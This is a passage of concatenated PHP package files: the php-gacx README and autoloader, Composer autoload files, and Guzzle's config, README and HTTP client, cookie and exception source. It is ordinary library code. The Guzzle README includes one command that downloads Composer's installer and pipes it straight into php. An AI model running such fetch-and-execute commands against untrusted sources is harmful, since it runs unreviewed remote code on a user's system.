in PHP: A server-side implementation that allows you to control and implement
[Content Experiments](https://developers.google.com/analytics/devguides/platform/features/experiments-overview)
entirely on the server.
This is done by parsing experiment data to make use of GA's multi-armed bandit algorithm
as well as programmatically modifying the "\_\_utmx" and "\_\_utmxx" cookies.
This does however depend on Google Analytics being used in the browser, see "Usage" below.
This library might become obsolete as soon as Google implements Content Experiments into
their [Measurement Protocol](https://developers.google.com/analytics/devguides/collection/protocol/v1/).
Requirements
-------------------------------------------------------------------------------------------
Requires PHP 5.3+ as namespaces and closures are used. Has no other dependencies and can
be used independantly from any framework or whatsoever environment.
Usage Example
-------------------------------------------------------------------------------------------
All methods match the ones from the JS API, so using php-gacx is pretty straightforward if
you've experience with [cx/api.js](https://developers.google.com/analytics/devguides/collection/gajs/experiments#cxjs):
```php
use UnitedPrototype\GoogleAnalytics;
$experiment = new GoogleAnalytics\Experiment('reBreiK2QpOws-pJlkla1o');
$variation = $experiment->chooseVariation();
```
In order to have the experiment data transferred to Google Analytics, you need to use
Google Analytics on the client side either via the traditional `ga.js` or Google's new
`analytics.js` (Universal Analytics).
`ga.js` will work out of the box, as it simply consider and include the "\_\_utmx"
cookie value when sending tracking data to Google Analytics.
`analytics.js` does sadly no longer consider the "\_\_utmx" cookie. You will therefore
have to tell it via Javascript which variation of an experiment has been chosen, and
it's limited to one experiment per page. Example:
```js
// Hand over experiment data to analytics.js, as it ignores the "__utmx" cookie
window.gaData = {
expId: '<?= $experiment->getId(); ?>',
expVar: '<?= $experiment->getChosenVariation(); ?>'
};
```
The advantage of using php-gacx here is still that you can choose the variation on the
server-side while still making use of the multi-armed bandit algorithm considering the
variation's different weights.
Disclaimer
-------------------------------------------------------------------------------------------
Google Analytics is a registered trademark of Google Inc.
\ No newline at end of file
{
"name": "clippings/php-gacx",
"type": "library",
"description": "Server-side GA Content Experiments",
"homepage": "https://github.com/thomasbachem/php-gacx",
"license": "LGPL-3.0+",
"authors": [
{
"name": "Thomas Bachem",
"email": "mail@thomasbachem.com",
"homepage": "http://thomasbachem.com"
}
],
"autoload": {
"psr-4": { "UnitedPrototype\\" : "src/" }
}
}
<?php
spl_autoload_register(function($className) {
if($className[0] == '\\') {
$className = substr($className, 1);
}
// Leave if class should not be handled by this autoloader
if(strpos($className, 'UnitedPrototype\\GoogleAnalytics') !== 0) return;
$classPath = strtr(substr($className, strlen('UnitedPrototype')), '\\', '/') . '.php';
if(file_exists(__DIR__ . $classPath)) {
require(__DIR__ . $classPath);
}
});
?>
\ No newline at end of file
Copyright (c) 2016 Nils Adermann, Jordi Boggiano
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
<?php
// autoload_files.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'c964ee0ededf28c96ebd9db5099ef910' => $vendorDir . '/guzzlehttp/promises/src/functions_include.php',
'a0edc8309cc5e1d60e3047b5df6b7052' => $vendorDir . '/guzzlehttp/psr7/src/functions_include.php',
'37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php',
'7f939cf3886f8168713c84dc1019984a' => $vendorDir . '/lastguest/murmurhash/murmurhash3.php',
);
<?php
// autoload_namespaces.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
);
<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'UnitedPrototype\\' => array($vendorDir . '/clippings/php-gacx/src'),
'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'),
'Psr\\Http\\Message\\' => array($vendorDir . '/psr/http-message/src'),
'Monolog\\' => array($vendorDir . '/monolog/monolog/src/Monolog'),
'JsonSchema\\' => array($vendorDir . '/justinrainbow/json-schema/src/JsonSchema'),
'GuzzleHttp\\Psr7\\' => array($vendorDir . '/guzzlehttp/psr7/src'),
'GuzzleHttp\\Promise\\' => array($vendorDir . '/guzzlehttp/promises/src'),
'GuzzleHttp\\' => array($vendorDir . '/guzzlehttp/guzzle/src'),
'' => array($vendorDir . '/optimizely/optimizely-sdk/src'),
);
<?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
spl_autoload_register(array('ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074', 'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader();
spl_autoload_unregister(array('ComposerAutoloaderInit53a07c25c5e3bda61da7290c91327074', 'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
if ($useStaticLoader) {
require_once __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInit53a07c25c5e3bda61da7290c91327074::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
$loader->set($namespace, $path);
}
$map = require __DIR__ . '/autoload_psr4.php';
foreach ($map as $namespace => $path) {
$loader->setPsr4($namespace, $path);
}
$classMap = require __DIR__ . '/autoload_classmap.php';
if ($classMap) {
$loader->addClassMap($classMap);
}
}
$loader->register(true);
if ($useStaticLoader) {
$includeFiles = Composer\Autoload\ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$files;
} else {
$includeFiles = require __DIR__ . '/autoload_files.php';
}
foreach ($includeFiles as $fileIdentifier => $file) {
composerRequire53a07c25c5e3bda61da7290c91327074($fileIdentifier, $file);
}
return $loader;
}
}
function composerRequire53a07c25c5e3bda61da7290c91327074($fileIdentifier, $file)
{
if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
require $file;
$GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
}
}
<?php
// autoload_static.php @generated by Composer
namespace Composer\Autoload;
class ComposerStaticInit53a07c25c5e3bda61da7290c91327074
{
public static $files = array (
'c964ee0ededf28c96ebd9db5099ef910' => __DIR__ . '/..' . '/guzzlehttp/promises/src/functions_include.php',
'a0edc8309cc5e1d60e3047b5df6b7052' => __DIR__ . '/..' . '/guzzlehttp/psr7/src/functions_include.php',
'37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php',
'7f939cf3886f8168713c84dc1019984a' => __DIR__ . '/..' . '/lastguest/murmurhash/murmurhash3.php',
);
public static $prefixLengthsPsr4 = array (
'U' =>
array (
'UnitedPrototype\\' => 16,
),
'P' =>
array (
'Psr\\Log\\' => 8,
'Psr\\Http\\Message\\' => 17,
),
'M' =>
array (
'Monolog\\' => 8,
),
'J' =>
array (
'JsonSchema\\' => 11,
),
'G' =>
array (
'GuzzleHttp\\Psr7\\' => 16,
'GuzzleHttp\\Promise\\' => 19,
'GuzzleHttp\\' => 11,
),
);
public static $prefixDirsPsr4 = array (
'UnitedPrototype\\' =>
array (
0 => __DIR__ . '/..' . '/clippings/php-gacx/src',
),
'Psr\\Log\\' =>
array (
0 => __DIR__ . '/..' . '/psr/log/Psr/Log',
),
'Psr\\Http\\Message\\' =>
array (
0 => __DIR__ . '/..' . '/psr/http-message/src',
),
'Monolog\\' =>
array (
0 => __DIR__ . '/..' . '/monolog/monolog/src/Monolog',
),
'JsonSchema\\' =>
array (
0 => __DIR__ . '/..' . '/justinrainbow/json-schema/src/JsonSchema',
),
'GuzzleHttp\\Psr7\\' =>
array (
0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src',
),
'GuzzleHttp\\Promise\\' =>
array (
0 => __DIR__ . '/..' . '/guzzlehttp/promises/src',
),
'GuzzleHttp\\' =>
array (
0 => __DIR__ . '/..' . '/guzzlehttp/guzzle/src',
),
);
public static $fallbackDirsPsr4 = array (
0 => __DIR__ . '/..' . '/optimizely/optimizely-sdk/src',
);
public static function getInitializer(ClassLoader $loader)
{
return \Closure::bind(function () use ($loader) {
$loader->prefixLengthsPsr4 = ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$prefixLengthsPsr4;
$loader->prefixDirsPsr4 = ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$prefixDirsPsr4;
$loader->fallbackDirsPsr4 = ComposerStaticInit53a07c25c5e3bda61da7290c91327074::$fallbackDirsPsr4;
}, null, ClassLoader::class);
}
}
language: php
sudo: false
php:
- 5.5
- 5.6
- 7.0
- 7.1
- hhvm
before_script:
- curl --version
- composer install --no-interaction --prefer-source --dev
- ~/.nvm/nvm.sh install v0.6.14
- ~/.nvm/nvm.sh run v0.6.14
- '[ "$TRAVIS_PHP_VERSION" != "7.0" ] || echo "xdebug.overload_var_dump = 1" >> ~/.phpenv/versions/$(phpenv version-name)/etc/php.ini'
script: make test
matrix:
allow_failures:
- php: hhvm
fast_finish: true
before_deploy:
- rvm 1.9.3 do gem install mime-types -v 2.6.2
- make package
deploy:
provider: releases
api_key:
secure: UpypqlYgsU68QT/x40YzhHXvzWjFwCNo9d+G8KAdm7U9+blFfcWhV1aMdzugvPMl6woXgvJj7qHq5tAL4v6oswCORhpSBfLgOQVFaica5LiHsvWlAedOhxGmnJqMTwuepjBCxXhs3+I8Kof1n4oUL9gKytXjOVCX/f7XU1HiinU=
file:
- build/artifacts/guzzle.phar
- build/artifacts/guzzle.zip
on:
repo: guzzle/guzzle
tags: true
all_branches: true
php: 5.5
Copyright (c) 2011-2016 Michael Dowling, https://github.com/mtdowling <mtdowling@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Guzzle, PHP HTTP client
=======================
[![Build Status](https://travis-ci.org/guzzle/guzzle.svg?branch=master)](https://travis-ci.org/guzzle/guzzle)
Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and
trivial to integrate with web services.
- Simple interface for building query strings, POST requests, streaming large
uploads, streaming large downloads, using HTTP cookies, uploading JSON data,
etc...
- Can send both synchronous and asynchronous requests using the same interface.
- Uses PSR-7 interfaces for requests, responses, and streams. This allows you
to utilize other PSR-7 compatible libraries with Guzzle.
- Abstracts away the underlying HTTP transport, allowing you to write
environment and transport agnostic code; i.e., no hard dependency on cURL,
PHP streams, sockets, or non-blocking event loops.
- Middleware system allows you to augment and compose client behavior.
```php
$client = new \GuzzleHttp\Client();
$res = $client->request('GET', 'https://api.github.com/user', [
'auth' => ['user', 'pass']
]);
echo $res->getStatusCode();
// 200
echo $res->getHeaderLine('content-type');
// 'application/json; charset=utf8'
echo $res->getBody();
// {"type":"User"...'
// Send an asynchronous request.
$request = new \GuzzleHttp\Psr7\Request('GET', 'http://httpbin.org');
$promise = $client->sendAsync($request)->then(function ($response) {
echo 'I completed! ' . $response->getBody();
});
$promise->wait();
```
## Help and docs
- [Documentation](http://guzzlephp.org/)
- [stackoverflow](http://stackoverflow.com/questions/tagged/guzzle)
- [Gitter](https://gitter.im/guzzle/guzzle)
## Installing Guzzle
The recommended way to install Guzzle is through
[Composer](http://getcomposer.org).
```bash
# Install Composer
curl -sS https://getcomposer.org/installer | php
```
Next, run the Composer command to install the latest stable version of Guzzle:
```bash
php composer.phar require guzzlehttp/guzzle
```
After installing, you need to require Composer's autoloader:
```php
require 'vendor/autoload.php';
```
You can then later update Guzzle using composer:
```bash
composer.phar update
```
## Version Guidance
| Version | Status | Packagist | Namespace | Repo | Docs | PSR-7 |
|---------|-------------|---------------------|--------------|---------------------|---------------------|-------|
| 3.x | EOL | `guzzle/guzzle` | `Guzzle` | [v3][guzzle-3-repo] | [v3][guzzle-3-docs] | No |
| 4.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | N/A | N/A | No |
| 5.x | Maintained | `guzzlehttp/guzzle` | `GuzzleHttp` | [v5][guzzle-5-repo] | [v5][guzzle-5-docs] | No |
| 6.x | Latest | `guzzlehttp/guzzle` | `GuzzleHttp` | [v6][guzzle-6-repo] | [v6][guzzle-6-docs] | Yes |
[guzzle-3-repo]: https://github.com/guzzle/guzzle3
[guzzle-5-repo]: https://github.com/guzzle/guzzle/tree/5.3
[guzzle-6-repo]: https://github.com/guzzle/guzzle
[guzzle-3-docs]: http://guzzle3.readthedocs.org/en/latest/
[guzzle-5-docs]: http://guzzle.readthedocs.org/en/5.3/
[guzzle-6-docs]: http://guzzle.readthedocs.org/en/latest/
{
"name": "guzzlehttp/guzzle",
"type": "library",
"description": "Guzzle is a PHP HTTP client library",
"keywords": ["framework", "http", "rest", "web service", "curl", "client", "HTTP client"],
"homepage": "http://guzzlephp.org/",
"license": "MIT",
"authors": [
{
"name": "Michael Dowling",
"email": "mtdowling@gmail.com",
"homepage": "https://github.com/mtdowling"
}
],
"require": {
"php": ">=5.5",
"guzzlehttp/psr7": "^1.3.1",
"guzzlehttp/promises": "^1.0"
},
"require-dev": {
"ext-curl": "*",
"phpunit/phpunit": "^4.0",
"psr/log": "^1.0"
},
"autoload": {
"files": ["src/functions_include.php"],
"psr-4": {
"GuzzleHttp\\": "src/"
}
},
"autoload-dev": {
"psr-4": {
"GuzzleHttp\\Tests\\": "tests/"
}
},
"extra": {
"branch-alias": {
"dev-master": "6.2-dev"
}
}
}
<?php
namespace GuzzleHttp;
use GuzzleHttp\Promise\PromiseInterface;
use GuzzleHttp\Exception\GuzzleException;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;
/**
* Client interface for sending HTTP requests.
*/
interface ClientInterface
{
const VERSION = '6.2.1';
/**
* Send an HTTP request.
*
* @param RequestInterface $request Request to send
* @param array $options Request options to apply to the given
* request and to the transfer.
*
* @return ResponseInterface
* @throws GuzzleException
*/
public function send(RequestInterface $request, array $options = []);
/**
* Asynchronously send an HTTP request.
*
* @param RequestInterface $request Request to send
* @param array $options Request options to apply to the given
* request and to the transfer.
*
* @return PromiseInterface
*/
public function sendAsync(RequestInterface $request, array $options = []);
/**
* Create and send an HTTP request.
*
* Use an absolute path to override the base path of the client, or a
* relative path to append to the base path of the client. The URL can
* contain the query string as well.
*
* @param string $method HTTP method.
* @param string|UriInterface $uri URI object or string.
* @param array $options Request options to apply.
*
* @return ResponseInterface
* @throws GuzzleException
*/
public function request($method, $uri, array $options = []);
/**
* Create and send an asynchronous HTTP request.
*
* Use an absolute path to override the base path of the client, or a
* relative path to append to the base path of the client. The URL can
* contain the query string as well. Use an array to provide a URL
* template and additional variables to use in the URL template expansion.
*
* @param string $method HTTP method
* @param string|UriInterface $uri URI object or string.
* @param array $options Request options to apply.
*
* @return PromiseInterface
*/
public function requestAsync($method, $uri, array $options = []);
/**
* Get a client configuration option.
*
* These options include default request options of the client, a "handler"
* (if utilized by the concrete client), and a "base_uri" if utilized by
* the concrete client.
*
* @param string|null $option The config option to retrieve.
*
* @return mixed
*/
public function getConfig($option = null);
}
<?php
namespace GuzzleHttp\Cookie;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
/**
* Cookie jar that stores cookies as an array
*/
class CookieJar implements CookieJarInterface
{
/** @var SetCookie[] Loaded cookie data */
private $cookies = [];
/** @var bool */
private $strictMode;
/**
* @param bool $strictMode Set to true to throw exceptions when invalid
* cookies are added to the cookie jar.
* @param array $cookieArray Array of SetCookie objects or a hash of
* arrays that can be used with the SetCookie
* constructor
*/
public function __construct($strictMode = false, $cookieArray = [])
{
$this->strictMode = $strictMode;
foreach ($cookieArray as $cookie) {
if (!($cookie instanceof SetCookie)) {
$cookie = new SetCookie($cookie);
}
$this->setCookie($cookie);
}
}
/**
* Create a new Cookie jar from an associative array and domain.
*
* @param array $cookies Cookies to create the jar from
* @param string $domain Domain to set the cookies to
*
* @return self
*/
public static function fromArray(array $cookies, $domain)
{
$cookieJar = new self();
foreach ($cookies as $name => $value) {
$cookieJar->setCookie(new SetCookie([
'Domain' => $domain,
'Name' => $name,
'Value' => $value,
'Discard' => true
]));
}
return $cookieJar;
}
/**
* @deprecated
*/
public static function getCookieValue($value)
{
return $value;
}
/**
* Evaluate if this cookie should be persisted to storage
* that survives between requests.
*
* @param SetCookie $cookie Being evaluated.
* @param bool $allowSessionCookies If we should persist session cookies
* @return bool
*/
public static function shouldPersist(
SetCookie $cookie,
$allowSessionCookies = false
) {
if ($cookie->getExpires() || $allowSessionCookies) {
if (!$cookie->getDiscard()) {
return true;
}
}
return false;
}
public function toArray()
{
return array_map(function (SetCookie $cookie) {
return $cookie->toArray();
}, $this->getIterator()->getArrayCopy());
}
public function clear($domain = null, $path = null, $name = null)
{
if (!$domain) {
$this->cookies = [];
return;
} elseif (!$path) {
$this->cookies = array_filter(
$this->cookies,
function (SetCookie $cookie) use ($path, $domain) {
return !$cookie->matchesDomain($domain);
}
);
} elseif (!$name) {
$this->cookies = array_filter(
$this->cookies,
function (SetCookie $cookie) use ($path, $domain) {
return !($cookie->matchesPath($path) &&
$cookie->matchesDomain($domain));
}
);
} else {
$this->cookies = array_filter(
$this->cookies,
function (SetCookie $cookie) use ($path, $domain, $name) {
return !($cookie->getName() == $name &&
$cookie->matchesPath($path) &&
$cookie->matchesDomain($domain));
}
);
}
}
public function clearSessionCookies()
{
$this->cookies = array_filter(
$this->cookies,
function (SetCookie $cookie) {
return !$cookie->getDiscard() && $cookie->getExpires();
}
);
}
public function setCookie(SetCookie $cookie)
{
// If the name string is empty (but not 0), ignore the set-cookie
// string entirely.
$name = $cookie->getName();
if (!$name && $name !== '0') {
return false;
}
// Only allow cookies with set and valid domain, name, value
$result = $cookie->validate();
if ($result !== true) {
if ($this->strictMode) {
throw new \RuntimeException('Invalid cookie: ' . $result);
} else {
$this->removeCookieIfEmpty($cookie);
return false;
}
}
// Resolve conflicts with previously set cookies
foreach ($this->cookies as $i => $c) {
// Two cookies are identical, when their path, and domain are
// identical.
if ($c->getPath() != $cookie->getPath() ||
$c->getDomain() != $cookie->getDomain() ||
$c->getName() != $cookie->getName()
) {
continue;
}
// The previously set cookie is a discard cookie and this one is
// not so allow the new cookie to be set
if (!$cookie->getDiscard() && $c->getDiscard()) {
unset($this->cookies[$i]);
continue;
}
// If the new cookie's expiration is further into the future, then
// replace the old cookie
if ($cookie->getExpires() > $c->getExpires()) {
unset($this->cookies[$i]);
continue;
}
// If the value has changed, we better change it
if ($cookie->getValue() !== $c->getValue()) {
unset($this->cookies[$i]);
continue;
}
// The cookie exists, so no need to continue
return false;
}
$this->cookies[] = $cookie;
return true;
}
public function count()
{
return count($this->cookies);
}
public function getIterator()
{
return new \ArrayIterator(array_values($this->cookies));
}
public function extractCookies(
RequestInterface $request,
ResponseInterface $response
) {
if ($cookieHeader = $response->getHeader('Set-Cookie')) {
foreach ($cookieHeader as $cookie) {
$sc = SetCookie::fromString($cookie);
if (!$sc->getDomain()) {
$sc->setDomain($request->getUri()->getHost());
}
$this->setCookie($sc);
}
}
}
public function withCookieHeader(RequestInterface $request)
{
$values = [];
$uri = $request->getUri();
$scheme = $uri->getScheme();
$host = $uri->getHost();
$path = $uri->getPath() ?: '/';
foreach ($this->cookies as $cookie) {
if ($cookie->matchesPath($path) &&
$cookie->matchesDomain($host) &&
!$cookie->isExpired() &&
(!$cookie->getSecure() || $scheme === 'https')
) {
$values[] = $cookie->getName() . '='
. $cookie->getValue();
}
}
return $values
? $request->withHeader('Cookie', implode('; ', $values))
: $request;
}
/**
* If a cookie already exists and the server asks to set it again with a
* null value, the cookie must be deleted.
*
* @param SetCookie $cookie
*/
private function removeCookieIfEmpty(SetCookie $cookie)
{
$cookieValue = $cookie->getValue();
if ($cookieValue === null || $cookieValue === '') {
$this->clear(
$cookie->getDomain(),
$cookie->getPath(),
$cookie->getName()
);
}
}
}
<?php
namespace GuzzleHttp\Cookie;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
/**
* Stores HTTP cookies.
*
* It extracts cookies from HTTP requests, and returns them in HTTP responses.
* CookieJarInterface instances automatically expire contained cookies when
* necessary. Subclasses are also responsible for storing and retrieving
* cookies from a file, database, etc.
*
* @link http://docs.python.org/2/library/cookielib.html Inspiration
*/
interface CookieJarInterface extends \Countable, \IteratorAggregate
{
/**
* Create a request with added cookie headers.
*
* If no matching cookies are found in the cookie jar, then no Cookie
* header is added to the request and the same request is returned.
*
* @param RequestInterface $request Request object to modify.
*
* @return RequestInterface returns the modified request.
*/
public function withCookieHeader(RequestInterface $request);
/**
* Extract cookies from an HTTP response and store them in the CookieJar.
*
* @param RequestInterface $request Request that was sent
* @param ResponseInterface $response Response that was received
*/
public function extractCookies(
RequestInterface $request,
ResponseInterface $response
);
/**
* Sets a cookie in the cookie jar.
*
* @param SetCookie $cookie Cookie to set.
*
* @return bool Returns true on success or false on failure
*/
public function setCookie(SetCookie $cookie);
/**
* Remove cookies currently held in the cookie jar.
*
* Invoking this method without arguments will empty the whole cookie jar.
* If given a $domain argument only cookies belonging to that domain will
* be removed. If given a $domain and $path argument, cookies belonging to
* the specified path within that domain are removed. If given all three
* arguments, then the cookie with the specified name, path and domain is
* removed.
*
* @param string $domain Clears cookies matching a domain
* @param string $path Clears cookies matching a domain and path
* @param string $name Clears cookies matching a domain, path, and name
*
* @return CookieJarInterface
*/
public function clear($domain = null, $path = null, $name = null);
/**
* Discard all sessions cookies.
*
* Removes cookies that don't have an expire field or a have a discard
* field set to true. To be called when the user agent shuts down according
* to RFC 2965.
*/
public function clearSessionCookies();
/**
* Converts the cookie jar to an array.
*
* @return array
*/
public function toArray();
}
<?php
namespace GuzzleHttp\Cookie;
/**
* Persists non-session cookies using a JSON formatted file
*/
class FileCookieJar extends CookieJar
{
/** @var string filename */
private $filename;
/** @var bool Control whether to persist session cookies or not. */
private $storeSessionCookies;
/**
* Create a new FileCookieJar object
*
* @param string $cookieFile File to store the cookie data
* @param bool $storeSessionCookies Set to true to store session cookies
* in the cookie jar.
*
* @throws \RuntimeException if the file cannot be found or created
*/
public function __construct($cookieFile, $storeSessionCookies = false)
{
$this->filename = $cookieFile;
$this->storeSessionCookies = $storeSessionCookies;
if (file_exists($cookieFile)) {
$this->load($cookieFile);
}
}
/**
* Saves the file when shutting down
*/
public function __destruct()
{
$this->save($this->filename);
}
/**
* Saves the cookies to a file.
*
* @param string $filename File to save
* @throws \RuntimeException if the file cannot be found or created
*/
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
/**
* Load cookies from a JSON formatted file.
*
* Old cookies are kept unless overwritten by newly loaded ones.
*
* @param string $filename Cookie file to load.
* @throws \RuntimeException if the file cannot be loaded.
*/
public function load($filename)
{
$json = file_get_contents($filename);
if (false === $json) {
throw new \RuntimeException("Unable to load file {$filename}");
} elseif ($json === '') {
return;
}
$data = \GuzzleHttp\json_decode($json, true);
if (is_array($data)) {
foreach (json_decode($json, true) as $cookie) {
$this->setCookie(new SetCookie($cookie));
}
} elseif (strlen($data)) {
throw new \RuntimeException("Invalid cookie file: {$filename}");
}
}
}
<?php
namespace GuzzleHttp\Cookie;
/**
* Persists cookies in the client session
*/
class SessionCookieJar extends CookieJar
{
/** @var string session key */
private $sessionKey;
/** @var bool Control whether to persist session cookies or not. */
private $storeSessionCookies;
/**
* Create a new SessionCookieJar object
*
* @param string $sessionKey Session key name to store the cookie
* data in session
* @param bool $storeSessionCookies Set to true to store session cookies
* in the cookie jar.
*/
public function __construct($sessionKey, $storeSessionCookies = false)
{
$this->sessionKey = $sessionKey;
$this->storeSessionCookies = $storeSessionCookies;
$this->load();
}
/**
* Saves cookies to session when shutting down
*/
public function __destruct()
{
$this->save();
}
/**
* Save cookies to the client session
*/
public function save()
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$_SESSION[$this->sessionKey] = json_encode($json);
}
/**
* Load the contents of the client session into the data array
*/
protected function load()
{
if (!isset($_SESSION[$this->sessionKey])) {
return;
}
$data = json_decode($_SESSION[$this->sessionKey], true);
if (is_array($data)) {
foreach ($data as $cookie) {
$this->setCookie(new SetCookie($cookie));
}
} elseif (strlen($data)) {
throw new \RuntimeException("Invalid cookie data");
}
}
}
<?php
namespace GuzzleHttp\Exception;
/**
* Exception when an HTTP error occurs (4xx or 5xx error)
*/
class BadResponseException extends RequestException {}
<?php
namespace GuzzleHttp\Exception;
/**
* Exception when a client error is encountered (4xx codes)
*/
class ClientException extends BadResponseException {}
<?php
namespace GuzzleHttp\Exception;
use Psr\Http\Message\RequestInterface;
/**
* Exception thrown when a connection cannot be established.
*
* Note that no response is present for a ConnectException
*/
class ConnectException extends RequestException
{
public function __construct(
$message,
RequestInterface $request,
\Exception $previous = null,
array $handlerContext = []
) {
parent::__construct($message, $request, null, $previous, $handlerContext);
}
/**
* @return null
*/
public function getResponse()
{
return null;
}
/**
* @return bool
*/
public function hasResponse()
{
return false;
}
}
<?php
namespace GuzzleHttp\Exception;
interface GuzzleException {}
<?php
namespace GuzzleHttp\Exception;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\UriInterface;
/**
* HTTP Request exception
*/
class RequestException extends TransferException
{
/** @var RequestInterface */
private $request;
/** @var ResponseInterface */
private $response;
/** @var array */
private $handlerContext;
public function __construct(
$message,
RequestInterface $request,
ResponseInterface $response = null,
\Exception $previous = null,
array $handlerContext = []
) {
// Set the code of the exception if the response is set and not future.
$code = $response && !($response instanceof PromiseInterface)
? $response->getStatusCode()
: 0;
parent::__construct($message, $code, $previous);
$this->request = $request;
$this->response = $response;
$this->handlerContext = $handlerContext;
}
/**
* Wrap non-RequestExceptions with a RequestException
*
* @param RequestInterface $request
* @param \Exception $e
*
* @return RequestException
*/
public static function wrapException(RequestInterface $request, \Exception $e)
{
return $e instanceof RequestException
? $e
: new RequestException($e->getMessage(), $request, null, $e);
}
/**
* Factory method to create a new exception with a normalized error message
*
* @param RequestInterface $request Request
* @param ResponseInterface $response Response received
* @param \Exception $previous Previous exception
* @param array $ctx Optional handler context.
*
* @return self
*/
public static function create(
RequestInterface $request,
ResponseInterface $response = null,
\Exception $previous = null,
array $ctx = []
) {
if (!$response) {
return new self(
'Error completing request',
$request,
null,
$previous,
$ctx
);
}
$level = (int) floor($response->getStatusCode() / 100);
if ($level === 4) {
$label = 'Client error';
$className = __NAMESPACE__ . '\\ClientException';
} elseif ($level === 5) {
$label = 'Server error';
$className = __NAMESPACE__ . '\\ServerException';
} else {
$label = 'Unsuccessful request';
$className = __CLASS__;
}
$uri = $request->getUri();
$uri = static::obfuscateUri($uri);
// Server Error: `GET /` resulted in a `404 Not Found` response:
// <html> ... (truncated)
$message = sprintf(
'%s: `%s` resulted in a `%s` response',
$label,
$request->getMethod() . ' ' . $uri,
$response->getStatusCode() . ' ' . $response->getReasonPhrase()
);
$summary = static::getResponseBodySummary($response);
if ($summary !== null) {
$message .= ":\n{$summary}\n";
}
return new $className($message, $request, $response, $previous, $ctx);
}
/**
* Get a short summary of the response
*
* Will return `null` if the response is not printable.
*
* @param ResponseInterface $response
*
* @return string|null
*/
public static function getResponseBodySummary(ResponseInterface $response)
{
$body = $response->getBody();
if (!$body->isSeekable()) {
return null;
}
$size = $body->getSize();
$summary = $body->read(120);
$body->rewind();
if ($size > 120) {
$summary .= ' (truncated...)';
}
// Matches any printable character, including unicode characters:
// letters, marks, numbers, punctuation, spacing, and separators.
